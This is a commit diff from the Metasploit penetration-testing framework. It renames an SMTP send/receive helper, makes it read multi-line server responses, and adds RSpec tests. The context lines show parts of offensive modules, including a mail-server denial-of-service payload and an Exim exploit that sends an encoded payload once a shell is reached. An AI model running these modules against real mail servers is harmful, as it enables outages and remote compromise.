Land #16153, read full response on smtp send/recv
This commit is contained in:
commit
ad2fab6fee
|
@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver
|
|||
|
||||
if res =~ /STARTTLS/
|
||||
print_status("Starting tls")
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
smtp_send_recv("STARTTLS\r\n", nsock)
|
||||
|
||||
[:high, :medium, :default].each do |level|
|
||||
begin
|
||||
|
@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver
|
|||
print_status 'Could not negotiate SSL, falling back to older ciphers'
|
||||
nsock.close
|
||||
nsock, res = connect_ehlo(global)
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
smtp_send_recv("STARTTLS\r\n", nsock)
|
||||
raise if level == :default
|
||||
end
|
||||
end
|
||||
|
||||
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
res = smtp_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
end
|
||||
|
||||
unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty?
|
||||
|
@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver
|
|||
# Have to double the username. SMTP auth is weird
|
||||
user = "#{datastore["USERNAME"]}\0" * 2
|
||||
auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}")
|
||||
res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
|
||||
res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
|
@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver
|
|||
if datastore["USERNAME"] and not datastore["USERNAME"].empty?
|
||||
user = Rex::Text.encode_base64("#{datastore["USERNAME"]}")
|
||||
auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}")
|
||||
raw_send_recv("AUTH LOGIN\r\n",nsock)
|
||||
raw_send_recv("#{user}\r\n",nsock)
|
||||
res = raw_send_recv("#{auth}\r\n",nsock)
|
||||
smtp_send_recv("AUTH LOGIN\r\n", nsock)
|
||||
smtp_send_recv("#{user}\r\n", nsock)
|
||||
res = smtp_send_recv("#{auth}\r\n", nsock)
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
|
@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver
|
|||
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
nsock = connect(global)
|
||||
|
||||
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
|
||||
[nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)]
|
||||
end
|
||||
|
||||
def bad_address(address)
|
||||
|
@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver
|
|||
nsock = connect_login(false)
|
||||
end
|
||||
|
||||
raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
|
||||
res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
|
||||
smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
|
||||
res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
|
||||
if res && res[0..2] == '250'
|
||||
resp = raw_send_recv("DATA\r\n", nsock)
|
||||
resp = smtp_send_recv("DATA\r\n", nsock)
|
||||
|
||||
# If the user supplied a Date field, use that, else use the current
|
||||
# DateTime in the proper RFC2822 format.
|
||||
|
@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver
|
|||
full_msg << data
|
||||
# Escape leading dots in the mail messages so there are no false EOF
|
||||
full_msg.gsub!(/(?m)^\./, '..')
|
||||
send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock)
|
||||
send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock)
|
||||
end
|
||||
else
|
||||
print_error "Server refused to send to <#{mailto}>"
|
||||
|
@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver
|
|||
end
|
||||
|
||||
def disconnect(nsock=self.sock)
|
||||
raw_send_recv("QUIT\r\n", nsock)
|
||||
smtp_send_recv("QUIT\r\n", nsock)
|
||||
super
|
||||
@connected = false
|
||||
end
|
||||
|
||||
def raw_send_recv(cmd, nsock=self.sock)
|
||||
# Send and receive a single command using SMTP protocol
|
||||
# allowing for response continuation
|
||||
def smtp_send_recv(cmd, nsock=self.sock)
|
||||
return false if not nsock
|
||||
if cmd =~ /AUTH PLAIN/
|
||||
# Don't print the user's plaintext password
|
||||
|
@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver
|
|||
begin
|
||||
nsock.put(cmd)
|
||||
res = nsock.get_once
|
||||
rescue
|
||||
while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once
|
||||
res += chunk
|
||||
end
|
||||
raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/
|
||||
rescue EOFError
|
||||
return nil
|
||||
end
|
||||
# Don't truncate the server output because it might be helpful for
|
||||
|
|
|
@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28
|
||||
|
||||
raw_send_recv("EHLO X\r\n")
|
||||
raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
smtp_send_recv("EHLO X\r\n")
|
||||
smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
print_status("Sending DoS packet.")
|
||||
raw_send_recv("RCPT TO: #{sploit}\r\n")
|
||||
smtp_send_recv("RCPT TO: #{sploit}\r\n")
|
||||
|
||||
disconnect
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
|
|
|
@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary
|
|||
begin
|
||||
connect
|
||||
|
||||
res = raw_send_recv("EHLO X\r\n")
|
||||
res = smtp_send_recv("EHLO X\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{mailfrom}\r\n")
|
||||
res = smtp_send_recv("#{mailfrom}\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{mailto}\r\n")
|
||||
res = smtp_send_recv("#{mailto}\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("DATA\r\n")
|
||||
res = smtp_send_recv("DATA\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
|
||||
res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
if res =~ /250/
|
||||
|
|
|
@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
ehlo = datastore['EHLO']
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp.each_line do |line|
|
||||
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
|
||||
end
|
||||
|
@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
from << "@#{ehlo}"
|
||||
to = datastore['MAILTO']
|
||||
|
||||
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
|
@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
||||
resp = raw_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
|
@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
||||
resp = raw_send_recv("DATA\r\n")
|
||||
resp = smtp_send_recv("DATA\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
|
@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
message << "\r\n"
|
||||
message << ".\r\n"
|
||||
|
||||
resp = raw_send_recv(message)
|
||||
resp = smtp_send_recv(message)
|
||||
msg = "DELIVER: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
|
|
|
@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
|
||||
end
|
||||
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp.each_line do |line|
|
||||
print_status("EHLO: #{line.strip}")
|
||||
end
|
||||
|
@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
from = datastore['MAILFROM']
|
||||
to = datastore['MAILTO']
|
||||
|
||||
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
|
@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status(msg)
|
||||
end
|
||||
|
||||
resp = raw_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
|
@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status(msg)
|
||||
end
|
||||
|
||||
resp = raw_send_recv("DATA\r\n")
|
||||
resp = smtp_send_recv("DATA\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
|
@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
sock.put body
|
||||
|
||||
print_status("Ending first message.")
|
||||
buf = raw_send_recv("\r\n.\r\n")
|
||||
buf = smtp_send_recv("\r\n.\r\n")
|
||||
# Should be: "552 Message size exceeds maximum permitted\r\n"
|
||||
print_status("Result: #{buf.inspect}") if buf
|
||||
|
||||
second_result = ""
|
||||
|
||||
print_status("Sending second message ...")
|
||||
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
# Should be: "sh-x.x$ " !!
|
||||
if buf
|
||||
print_status("MAIL result: #{buf.inspect}")
|
||||
second_result << buf
|
||||
end
|
||||
|
||||
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
|
||||
buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
|
||||
# Should be: "sh: RCPT: command not found\n"
|
||||
if buf
|
||||
print_status("RCPT result: #{buf.inspect}")
|
||||
|
@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
if resp !~ /Summary of my perl/
|
||||
print_status("Should have a shell now, sending payload...")
|
||||
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
|
||||
buf = smtp_send_recv("\n" + payload.encoded + "\n\n")
|
||||
if buf
|
||||
if buf =~ /554 SMTP synchronization error/
|
||||
print_error("This target may be patched: #{buf.strip}")
|
||||
|
|
|
@ -0,0 +1,93 @@
|
|||
RSpec.describe Msf::Exploit::Remote::SMTPDeliver do
|
||||
|
||||
context "#smtp_send_recv" do
|
||||
subject(:instance) {
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod
|
||||
}
|
||||
|
||||
|
||||
let (:socket) {
|
||||
double(Rex::Socket::Tcp)
|
||||
}
|
||||
let (:cmd) {
|
||||
"EHLO"
|
||||
}
|
||||
let(:ehlo_resp1) {
|
||||
"250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n"
|
||||
}
|
||||
let(:ehlo_resp2) {
|
||||
"250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n"
|
||||
}
|
||||
let(:ehlo_resp3) {
|
||||
"250 DSN"
|
||||
}
|
||||
let(:ehlo_resp4) {
|
||||
"\r\n"
|
||||
}
|
||||
|
||||
before {
|
||||
allow(instance).to receive(:vprint_status)
|
||||
allow(socket).to receive(:put)
|
||||
allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4)
|
||||
}
|
||||
|
||||
it "should read the socket for continuation messages" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
|
||||
end
|
||||
|
||||
context "when a single response occurs" do
|
||||
let(:ehlo_resp1) {
|
||||
"250 DSN\r\n"
|
||||
}
|
||||
|
||||
before {
|
||||
allow(socket).to receive(:get_once).and_return(ehlo_resp1)
|
||||
}
|
||||
|
||||
|
||||
it "passes" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp1)
|
||||
end
|
||||
end
|
||||
|
||||
context "when the server response is terse" do
|
||||
let(:ehlo_resp3) {
|
||||
"250"
|
||||
}
|
||||
|
||||
it "should support a final line with no space or extra data" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
|
||||
end
|
||||
end
|
||||
|
||||
context "when incomplete response is received" do
|
||||
# a nil from `get_once` simulates a Timeout expired
|
||||
let(:ehlo_resp4){
|
||||
nil
|
||||
}
|
||||
|
||||
it "should raise error when the response is incomplete" do
|
||||
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
|
||||
end
|
||||
end
|
||||
|
||||
context "when excess data response is received" do
|
||||
# a nil from `get_once` simulates a Timeout expired
|
||||
let(:ehlo_resp3){
|
||||
"250 DSN\r\n253 additional unexpected data"
|
||||
}
|
||||
let(:ehlo_resp4){
|
||||
nil
|
||||
}
|
||||
|
||||
it "should raise error when the response is incomplete" do
|
||||
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue